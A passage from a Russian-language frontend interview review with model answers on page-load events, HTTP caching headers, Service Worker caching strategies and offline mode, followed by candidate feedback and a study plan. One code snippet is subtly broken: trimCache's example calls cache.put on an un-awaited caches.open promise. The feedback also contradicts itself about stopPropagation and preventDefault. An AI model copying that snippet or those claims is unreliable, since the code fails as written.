console.log(`DOMContentLoaded: ${perfData.domContentLoadedEventEnd - perfData.domContentLoadedEventStart}ms`);
console.log(`Load: ${perfData.loadEventEnd - perfData.loadEventStart}ms`);
console.log(`Total: ${perfData.loadEventEnd - perfData.navigationStart}ms`);

Custom Performance Marks:

// Установка меток для измерения
performance.mark('app-start');

document.addEventListener('DOMContentLoaded', function() {
performance.mark('dom-ready');
performance.measure('dom-loading', 'app-start', 'dom-ready');

// Инициализация приложения
initializeApp();

performance.mark('app-ready');
performance.measure('app-init', 'dom-ready', 'app-ready');
});

window.addEventListener('load', function() {
performance.mark('fully-loaded');
performance.measure('total-load', 'app-start', 'fully-loaded');

// Логирование метрик
const measures = performance.getEntriesByType('measure');
measures.forEach(measure => {
console.log(`${measure.name}: ${measure.duration.toFixed(2)}ms`);
});
});

6. Обработка состояния документа

Проверка состояния загрузки:

function onDOMReady(callback) {
if (document.readyState === 'loading') {
// DOM ещё загружается
document.addEventListener('DOMContentLoaded', callback);
} else {
// DOM уже готов
callback();
}
}

function onFullyLoaded(callback) {
if (document.readyState === 'complete') {
// Всё загружено
callback();
} else {
// Ждём полной загрузки
window.addEventListener('load', callback);
}
}

// Использование
onDOMReady(function() {
console.log('DOM готов');
initializeComponents();
});

onFullyLoaded(function() {
console.log('Всё загружено');
hideLoader();
});

7. Оптимизация загрузки

Critical CSS:

<head>
<!-- Инлайн критический CSS -->
<style>
/* Стили для первого экрана */
.header { /* ... */ }
.hero { /* ... */ }
.navigation { /* ... */ }
</style>

<!-- Некритический CSS загружается асинхронно -->
<link rel="preload" href="styles.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
<noscript>
<link rel="stylesheet" href="styles.css">
</noscript>
</head>

Preload ресурсов:

<head>
<!-- Предзагрузка критических ресурсов -->
<link rel="preload" href="hero-image.jpg" as="image">
<link rel="preload" href="font.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="critical.js" as="script">

<!-- Prefetch для следующих страниц -->
<link rel="prefetch" href="/next-page.html">
</head>

8. Отладка загрузки

DevTools Timeline:

1. Открыть DevTools → Performance
2. Нажать Record
3. Перезагрузить страницу
4. Проанализировать:
- Network waterfall
- Main thread activity
- Timings (DOMContentLoaded, Load)
- Long tasks

Console logging:

// Логирование всех событий загрузки
const events = [
'readystatechange',
'DOMContentLoaded',
'load',
'beforeunload',
'unload'
];

events.forEach(event => {
window.addEventListener(event, function() {
console.log(`Event: ${event}`, {
readyState: document.readyState,
timestamp: Date.now()
});
});
});

Вывод: DOMContentLoaded и load - ключевые события для управления загрузкой страницы. DOMContentLoaded срабатывает после построения DOM и выполнения синхронных скриптов, идеально подходит для инициализации JavaScript-приложений. load ждёт загрузки всех ресурсов, необходим для работы с размерами изображений и полной инициализации. Понимание этих событий критически важно для оптимизации производительности веб-приложений.

Вопрос 17. Как работает кэширование в браузере и как сделать так, чтобы приложение работало в офлайн-режиме?

Таймкод: 01:18:32

Ответ собеседника: Неполный. Кандидат упомянул, что кэш настраивается через время валидности, ресурсы можно зашивать в кэш при первом запросе, браузер складывает загруженные ресурсы в кэш. Не знал про атрибут defer для асинхронной загрузки скриптов, не смог объяснить, как именно настраивается время кэширования. Главное — не знал про Service Workers, которые являются ключевым механизмом для офлайн-работы приложений и управления кэшированием на уровне приложения.

Правильный ответ:

1. Уровни кэширования в браузере

Иерархия кэша:

┌─────────────────────────────────────────────────────────────┐
│ Browser Cache │
├─────────────────────────────────────────────────────────────┤
│ 1. Memory Cache (RAM) - самый быстрый │
│ - Изображения, CSS, JS текущей сессии │
│ - Очищается при закрытии вкладки │
├─────────────────────────────────────────────────────────────┤
│ 2. Disk Cache (HDD/SSD) - постоянный │
│ - Все загруженные ресурсы │
│ - Сохраняется между сессиями │
│ - Управляется HTTP-заголовками │
├─────────────────────────────────────────────────────────────┤
│ 3. Service Worker Cache - программный │
│ - Полный контроль над кэшированием │
│ - Работает офлайн │
│ - Требует HTTPS │
├─────────────────────────────────────────────────────────────┤
│ 4. HTTP/2 Push Cache - серверный push │
│ - Сервер отправляет ресурсы заранее │
│ - Ограниченный размер │
└─────────────────────────────────────────────────────────────┘

2. HTTP-заголовки кэширования

Cache-Control:

// Серверные заголовки для управления кэшированием

// Кэшировать на 1 час (3600 секунд)
res.setHeader('Cache-Control', 'public, max-age=3600');

// Не кэшировать вообще
res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');

// Кэшировать, но проверять актуальность
res.setHeader('Cache-Control', 'no-cache'); // Требует ETag или Last-Modified

// Кэшировать только в приватном кэше (браузер)
res.setHeader('Cache-Control', 'private, max-age=3600');

// Кэшировать в shared cache (CDN, прокси)
res.setHeader('Cache-Control', 'public, max-age=86400');

// Immutable - ресурс никогда не изменится
res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');

ETag и Last-Modified:

// ETag - уникальный идентификатор версии ресурса
app.get('/api/data', (req, res) => {
const data = getData();
const etag = generateETag(data);

// Проверяем, есть ли у клиента актуальная версия
if (req.headers['if-none-match'] === etag) {
return res.status(304).end(); // Not Modified
}

res.setHeader('ETag', etag);
res.json(data);
});

// Last-Modified - дата последнего изменения
app.get('/static/file.js', (req, res) => {
const stats = fs.statSync('file.js');
const lastModified = stats.mtime.toUTCString();

if (req.headers['if-modified-since'] === lastModified) {
return res.status(304).end();
}

res.setHeader('Last-Modified', lastModified);
res.sendFile('file.js');
});

Expires (устаревший):

// Устаревший способ, используйте Cache-Control
res.setHeader('Expires', new Date(Date.now() + 86400000).toUTCString());

3. Стратегии кэширования

Cache First (сначала кэш):

async function cacheFirst(request) {
const cachedResponse = await caches.match(request);

if (cachedResponse) {
return cachedResponse; // Возвращаем из кэша
}

try {
const networkResponse = await fetch(request);

// Сохраняем в кэш для будущих запросов
const cache = await caches.open('my-cache');
await cache.put(request, networkResponse.clone());

return networkResponse;
} catch (error) {
// Возвращаем fallback при ошибке
return new Response('Offline', { status: 503 });
}
}

Network First (сначала сеть):

async function networkFirst(request) {
try {
const networkResponse = await fetch(request);

// Обновляем кэш
const cache = await caches.open('my-cache');
await cache.put(request, networkResponse.clone());

return networkResponse;
} catch (error) {
// При ошибке сети возвращаем из кэша
const cachedResponse = await caches.match(request);

if (cachedResponse) {
return cachedResponse;
}

return new Response('Offline', { status: 503 });
}
}

Stale While Revalidate:

async function staleWhileRevalidate(request) {
const cache = await caches.open('my-cache');
const cachedResponse = await cache.match(request);

// Запрашиваем новую версию в фоне
const fetchPromise = fetch(request).then(networkResponse => {
cache.put(request, networkResponse.clone());
return networkResponse;
}).catch(() => cachedResponse);

// Возвращаем кэш сразу, обновляем потом
return cachedResponse || fetchPromise;
}

4. Service Workers - основа офлайн-работы

Регистрация Service Worker:

// main.js - регистрация Service Worker
if ('serviceWorker' in navigator) {
window.addEventListener('load', async () => {
try {
const registration = await navigator.serviceWorker.register('/sw.js', {
scope: '/'
});

console.log('Service Worker зарегистрирован:', registration.scope);

// Обновление Service Worker
registration.addEventListener('updatefound', () => {
const newWorker = registration.installing;
newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'activated') {
console.log('Service Worker обновлён');
// Уведомляем пользователя об обновлении
showUpdateNotification();
}
});
});
} catch (error) {
console.error('Ошибка регистрации Service Worker:', error);
}
});
}

Service Worker с кэшированием:

// sw.js - Service Worker
const CACHE_NAME = 'my-app-v1';
const OFFLINE_URL = '/offline.html';

// Ресурсы для предварительного кэширования
const PRECACHE_URLS = [
'/',
'/styles/main.css',
'/scripts/app.js',
'/images/logo.png',
OFFLINE_URL
];

// Установка Service Worker
self.addEventListener('install', event => {
event.waitUntil(
caches.open(CACHE_NAME)
.then(cache => {
console.log('Предварительное кэширование');
return cache.addAll(PRECACHE_URLS);
})
.then(() => self.skipWaiting())
);
});

// Активация и очистка старых кэшей
self.addEventListener('activate', event => {
event.waitUntil(
caches.keys().then(cacheNames => {
return Promise.all(
cacheNames
.filter(name => name !== CACHE_NAME)
.map(name => {
console.log('Удаление старого кэша:', name);
return caches.delete(name);
})
);
}).then(() => self.clients.claim())
);
});

// Перехват запросов
self.addEventListener('fetch', event => {
// Пропускаем не-GET запросы
if (event.request.method !== 'GET') {
return;
}

event.respondWith(
caches.match(event.request)
.then(cachedResponse => {
if (cachedResponse) {
// Возвращаем из кэша и обновляем в фоне
event.waitUntil(
fetch(event.request).then(response => {
return caches.open(CACHE_NAME).then(cache => {
return cache.put(event.request, response);
});
}).catch(() => {})
);

return cachedResponse;
}

// Если нет в кэше, запрашиваем из сети
return fetch(event.request)
.then(response => {
// Проверяем валидность ответа
if (!response || response.status !== 200 || response.type !== 'basic') {
return response;
}

// Сохраняем в кэш
const responseToCache = response.clone();
caches.open(CACHE_NAME)
.then(cache => {
cache.put(event.request, responseToCache);
});

return response;
})
.catch(() => {
// При ошибке сети возвращаем fallback
if (event.request.destination === 'document') {
return caches.match(OFFLINE_URL);
}

return new Response('Offline', { status: 503 });
});
})
);
});

5. Продвинутые стратегии Service Worker

Кэширование с приоритетами:

// sw.js - расширенная версия
const CACHES = {
static: 'static-v1',
dynamic: 'dynamic-v1',
images: 'images-v1',
api: 'api-v1'
};

// Стратегии для разных типов ресурсов
const STRATEGIES = {
// Статические ресурсы - cache first
static: async (request) => {
const cache = await caches.open(CACHES.static);
const cached = await cache.match(request);

if (cached) {
return cached;
}

const response = await fetch(request);
cache.put(request, response.clone());
return response;
},

// API запросы - network first
api: async (request) => {
try {
const response = await fetch(request);
const cache = await caches.open(CACHES.api);
cache.put(request, response.clone());
return response;
} catch (error) {
const cached = await caches.match(request);
return cached || new Response(JSON.stringify({ error: 'Offline' }), {
headers: { 'Content-Type': 'application/json' }
});
}
},

// Изображения - stale while revalidate
images: async (request) => {
const cache = await caches.open(CACHES.images);
const cached = await cache.match(request);

const fetchPromise = fetch(request).then(response => {
cache.put(request, response.clone());
return response;
}).catch(() => cached);

return cached || fetchPromise;
}
};

// Определение стратегии по URL
function getStrategy(url) {
if (url.includes('/api/')) {
return STRATEGIES.api;
}

if (url.match(/\.(jpg|jpeg|png|gif|svg|webp)$/)) {
return STRATEGIES.images;
}

return STRATEGIES.static;
}

self.addEventListener('fetch', event => {
const strategy = getStrategy(event.request.url);
event.respondWith(strategy(event.request));
});

6. Управление кэшем

Ограничение размера кэша:

// Очистка старых записей при превышении лимита
async function trimCache(cacheName, maxItems) {
const cache = await caches.open(cacheName);
const keys = await cache.keys();

if (keys.length > maxItems) {
// Удаляем самые старые записи
const itemsToDelete = keys.length - maxItems;

for (let i = 0; i < itemsToDelete; i++) {
await cache.delete(keys[i]);
}
}
}

// Использование при сохранении в кэш
self.addEventListener('fetch', event => {
event.respondWith(
fetch(event.request).then(response => {
const cache = caches.open(CACHE_NAME);
cache.put(event.request, response.clone());

// Ограничиваем кэш 100 записями
trimCache(CACHE_NAME, 100);

return response;
})
);
});

Версионирование кэша:

// Автоматическое версионирование
const APP_VERSION = '1.2.3';
const CACHE_NAME = `app-${APP_VERSION}`;

// Очистка старых версий при активации
self.addEventListener('activate', event => {
event.waitUntil(
caches.keys().then(cacheNames => {
return Promise.all(
cacheNames
.filter(name => name.startsWith('app-') && name !== CACHE_NAME)
.map(name => caches.delete(name))
);
})
);
});

7. Офлайн-страница и fallback

Создание офлайн-страницы:

<!-- offline.html -->
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Офлайн</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
margin: 0;
background: #f5f5f5;
}

.offline-container {
text-align: center;
padding: 2rem;
background: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}

.offline-icon {
font-size: 4rem;
margin-bottom: 1rem;
}

.retry-button {
background: #007bff;
color: white;
border: none;
padding: 0.5rem 1rem;
border-radius: 4px;
cursor: pointer;
margin-top: 1rem;
}

.retry-button:hover {
background: #0056b3;
}
</style>
</head>
<body>
<div class="offline-container">
<div class="offline-icon">📡</div>
<h1>Нет подключения к интернету</h1>
<p>Проверьте подключение и попробуйте снова</p>
<button class="retry-button" onclick="window.location.reload()">
Попробовать снова
</button>
</div>

<script>
// Автоматическая перезагрузка при восстановлении соединения
window.addEventListener('online', () => {
window.location.reload();
});
</script>
</body>
</html>

8. Мониторинг состояния сети

Online/Offline события:

// Мониторинг состояния сети
class NetworkMonitor {
constructor() {
this.isOnline = navigator.onLine;
this.listeners = [];

window.addEventListener('online', () => {
this.isOnline = true;
this.notifyListeners(true);
this.syncOfflineData();
});

window.addEventListener('offline', () => {
this.isOnline = false;
this.notifyListeners(false);
});
}

addListener(callback) {
this.listeners.push(callback);
}

notifyListeners(isOnline) {
this.listeners.forEach(callback => callback(isOnline));
}

async syncOfflineData() {
// Синхронизация данных при восстановлении соединения
const offlineData = await this.getOfflineData();

for (const data of offlineData) {
try {
await fetch('/api/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});

await this.removeOfflineData(data.id);
} catch (error) {
console.error('Ошибка синхронизации:', error);
}
}
}

async getOfflineData() {
// Получение данных из IndexedDB
const db = await openDB('offline-store', 1);
return db.getAll('pending-requests');
}

async removeOfflineData(id) {
const db = await openDB('offline-store', 1);
return db.delete('pending-requests', id);
}
}

// Использование
const networkMonitor = new NetworkMonitor();

networkMonitor.addListener((isOnline) => {
if (isOnline) {
showNotification('Соединение восстановлено');
} else {
showNotification('Работа в офлайн-режиме');
}
});

9. Background Sync API

Отложенная синхронизация:

// Регистрация фоновой синхронизации
async function registerBackgroundSync() {
const registration = await navigator.serviceWorker.ready;

try {
await registration.sync.register('sync-data');
console.log('Background sync зарегистрирован');
} catch (error) {
console.error('Ошибка регистрации sync:', error);
}
}

// Обработка в Service Worker
self.addEventListener('sync', event => {
if (event.tag === 'sync-data') {
event.waitUntil(syncData());
}
});

async function syncData() {
const db = await openDB('offline-store', 1);
const pendingData = await db.getAll('pending-requests');

for (const data of pendingData) {
try {
await fetch('/api/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});

await db.delete('pending-requests', data.id);
} catch (error) {
console.error('Ошибка синхронизации:', error);
}
}
}

10. Тестирование офлайн-режима

Chrome DevTools:

1. Application → Service Workers
- Offline checkbox для симуляции офлайна
- Update on reload для принудительного обновления

2. Network → Offline
- Симуляция полного офлайна

3. Application → Cache Storage
- Просмотр содержимого кэша
- Очистка кэша

Программное тестирование:

// Тест офлайн-режима
async function testOfflineMode() {
// Симулируем офлайн
const originalFetch = window.fetch;
window.fetch = () => Promise.reject(new Error('Offline'));

try {
// Проверяем, что приложение работает офлайн
const response = await fetch('/api/data');
console.log('Ошибка: запрос не должен пройти в офлайне');
} catch (error) {
console.log('OK: запрос заблокирован в офлайне');
}

// Восстанавливаем fetch
window.fetch = originalFetch;
}

Вывод: Кэширование в браузере работает на нескольких уровнях: HTTP-кэш, Memory Cache, Disk Cache и Service Worker Cache. Для офлайн-работы приложений ключевую роль играют Service Workers, которые позволяют перехватывать сетевые запросы и возвращать кэшированные ответы. Правильная настройка HTTP-заголовков кэширования и использование стратегий кэширования (cache-first, network-first, stale-while-revalidate) обеспечивают оптимальную производительность и работоспособность приложения в различных сетевых условиях.

Вопрос 18. Фидбек по итогам собеседования: какие сильные стороны и зоны роста были выявлены у кандидата?

Таймкод: 01:29:25

Ответ собеседника: Неполный. Оценка: уровень Junior+. Сильные стороны: базовое понимание JavaScript (Event loop, микро/макрозадачи, this), понимание работы событий (всплытие, делегирование), знание основ безопасности (CORS, XSS). Зоны роста: большие пробелы в HTTP, сетевом стеке, безопасности, авторизации, кэшировании; путаница в терминологии (stopPropagation vs preventDefault, CORS vs CSP); недостаток практики и ширины знаний; проблемы с задачей на бесконечный скролл (не знал нужных свойств для определения позиции скролла); не знал Service Workers для офлайн-работы. Рекомендация: углубить знания по основным фронтенд-темам, больше практики с реальными бизнес-задачами.

Правильный ответ:

1. Общая оценка

Уровень: Junior+/Middle- с потенциалом роста до Middle при целенаправленной работе над пробелами.

Характеристика кандидата:

  • Демонстрирует фундаментальное понимание ключевых концепций JavaScript
  • Способен рассуждать и приходить к правильным ответам через логику
  • Имеет базовые знания, но недостаточную глубину и широту
  • Требуется больше практического опыта и систематизация знаний

2. Сильные стороны

JavaScript фундамент:

  • Понимание работы Event Loop и различий между микрозадачами и макрозадачами
  • Знание механизма определения this и способов привязки контекста
  • Понимание фаз распространения событий (захват, цель, всплытие)
  • Знание методов call, apply, bind для управления контекстом
  • Понимание различий между стрелочными и обычными функциями

Работа с событиями:

  • Знание stopPropagation и preventDefault с пониманием различий
  • Понимание делегирования событий
  • Знание о фазе захвата и параметре capture в addEventListener
  • Понимание паттерна проверки event.target для фильтрации событий

Безопасность (базовый уровень):

  • Знание о CORS и его роли в защите кросс-доменных запросов
  • Понимание XSS-атак и базовых методов защиты
  • Знание о CSRF и необходимости токенов защиты

Общие навыки:

  • Способность к самокоррекции в процессе обсуждения
  • Логическое мышление и умение рассуждать
  • Готовность признавать пробелы в знаниях

3. Зоны роста

Критические пробелы:

HTTP и сетевой стек:

  • Недостаточное понимание HTTP-заголовков кэширования (Cache-Control, ETag, Last-Modified)
  • Путаница в механизмах CORS и CSP
  • Незнание Service Workers как ключевого механизма для офлайн-работы
  • Слабое понимание различий между DOMContentLoaded и load событиями

Безопасность:

  • Неполное понимание методов защиты от XSS (CSP, HttpOnly, Secure куки)
  • Путаница между stopPropagation и preventDefault
  • Недостаточное знание механизмов защиты от CSRF
  • Незнание о SameSite cookie attribute

Практические навыки:

  • Неуверенность в реализации бесконечного скролла
  • Незнание ключевых свойств для определения позиции скролла (scrollTop, scrollHeight, clientHeight)
  • Ограниченный опыт работы с IntersectionObserver
  • Слабое понимание оптимизации производительности

Терминология:

  • Путаница между CORS и CSP
  • Неточное использование терминов в области безопасности
  • Смешение понятий в области кэширования

4. Детальный разбор по темам

JavaScript (7/10):

Сильно: Event Loop, this, замыкания, прототипы
Средне: Promise, async/await
Слабо: оптимизация производительности, memory management

DOM и события (6/10):

Strong: базовая работа с DOM, делегирование событий
Medium: фазы событий, event target filtering
Weak: IntersectionObserver, MutationObserver, Performance API

Безопасность (5/10):

Strong: понимание базовых угроз (XSS, CSRF)
Medium: CORS, базовая защита от XSS
Weak: CSP, Service Workers, продвинутая безопасность

Сетевые технологии (4/10):

Strong: базовое понимание HTTP
Medium: fetch API, обработка ответов
Weak: кэширование, Service Workers, WebSocket, SSE

5. Рекомендации по развитию

Приоритет 1 (критические пробелы):

Service Workers и офлайн-работа:

// Изучить:
// 1. Регистрация Service Worker
// 2. Стратегии кэширования
// 3. Обработка офлайн-режима
// 4. Background Sync API

// Практическое задание:
// Создать PWA с офлайн-работой

HTTP-кэширование:

// Изучить:
// 1. Cache-Control заголовки
// 2. ETag и Last-Modified
// 3. Stale-while-revalidate стратегия
// 4. CDN кэширование

// Практическое задание:
// Настроить кэширование для статических ресурсов

Приоритет 2 (углубление знаний):

Безопасность:

// Изучить:
// 1. Content Security Policy (CSP)
// 2. HttpOnly и Secure cookies
// 3. SameSite attribute
// 4. OWASP Top 10

// Практическое задание:
// Аудит безопасности существующего приложения

Производительность:

// Изучить:
// 1. Web Vitals (LCP, FID, CLS)
// 2. Lighthouse аудит
// 3. Code splitting и lazy loading
// 4. Memory profiling

// Практическое задание:
// Оптимизация загрузки приложения

Приоритет 3 (расширение кругозора):

Современные API:

// Изучить:
// 1. IntersectionObserver
// 2. ResizeObserver
// 3. Performance Observer
// 4. Web Workers

// Практическое задание:
// Реализация бесконечного скролла с IntersectionObserver

6. План развития на 3 месяца

Месяц 1: Основы

  • Углублённое изучение HTTP и кэширования
  • Практика с Service Workers
  • Изучение безопасности (CSP, cookies)

Месяц 2: Практика

  • Создание PWA приложения
  • Аудит и оптимизация производительности
  • Работа с DevTools для профилирования

Месяц 3: Продвинутые темы

  • Изучение современных браузерных API
  • Практика с реальными проектами
  • Подготовка к собеседованиям на уровень Middle

7. Ресурсы для изучения

Документация:

  • MDN Web Docs (developer.mozilla.org)
  • Google Web Fundamentals
  • OWASP Security Guidelines

Практика:

  • JavaScript.info
  • Frontend Masters
  • Собственные проекты на GitHub

Тестирование знаний:

  • LeetCode (JavaScript задачи)
  • Codewars
  • Собеседования в компании-партнёры

8. Ожидаемый результат

Через 3 месяца при активной работе:

  • Уверенное владение Service Workers и кэшированием
  • Понимание и применение механизмов безопасности
  • Способность оптимизировать производительность приложений
  • Готовность к позиции Middle Frontend Developer

Через 6 месяцев:

  • Глубокое понимание браузерных API
  • Опыт создания PWA приложений
  • Способность проводить аудит безопасности и производительности
  • Уверенное прохождение собеседований на Middle уровень

Вывод: Кандидат демонстрирует хороший фундамент в JavaScript и способность к развитию. Основные пробелы связаны с недостатком практического опыта и систематизации знаний в области сетевых технологий, безопасности и современных браузерных API. При целенаправленной работе над указанными зонами роста, кандидат имеет высокий потенциал для быстрого профессионального роста до уровня Middle Developer.